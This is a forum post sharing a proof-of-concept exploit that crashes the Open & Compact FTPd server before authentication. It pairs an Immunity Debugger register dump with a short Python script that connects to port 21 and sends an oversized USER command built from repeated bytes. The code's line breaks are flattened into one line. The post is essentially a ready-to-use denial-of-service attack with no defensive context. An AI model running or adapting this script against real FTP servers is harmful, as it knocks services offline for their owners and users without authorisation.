mDOS Posted September 3, 2019 Report Posted September 3, 2019 # Title: Open & Compact FTPd Pre-Authentication Crash (PoC) ##!/usr/bin/python #Registers From Immunity ##EAX FFFFFFFF#ECX 00149A29#EDX 7C90E4F4 ntdll.KiFastSystemCallRet#EBX 00000000#ESP 0012FA1C#EBP 00000002#ESI 0012FA5C#EDI 0012FCB4#EIP 004113A3#C 0 ES 0023 32bit 0(FFFFFFFF)#P 1 CS 001B 32bit 0(FFFFFFFF)#A 0 SS 0023 32bit 0(FFFFFFFF)#Z 0 DS 0023 32bit 0(FFFFFFFF)#S 1 FS 003B 32bit 7FFDF000(FFF)#T 0 GS 0000 NULL#D 0#O 0 LastErr ERROR_SUCCESS (00000000)#EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)#ST0 empty %#.19L#ST1 empty -??? FFFF 7C910208 7C90E900#ST2 empty -UNORM DCD0 7C9101BB 7C91017B#ST3 empty %#.19L#ST4 empty +UNORM 00B2 00000000 00000000#ST5 empty +UNORM 7D80 77F67D78 01C3DA90#ST6 empty -UNORM DD24 00000000 00000409#ST7 empty -UNORM E3F4 0014E3F4 0014E3F4# 3 2 1 0 E S P U O Z D I#FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)#FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 import socket buffer = ("\x41\x2C\x20") * 200 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('192.168.1.112',21))s.recv(1024)s.send('USER '+buffer+'\r\n')s.recv(1024) Quote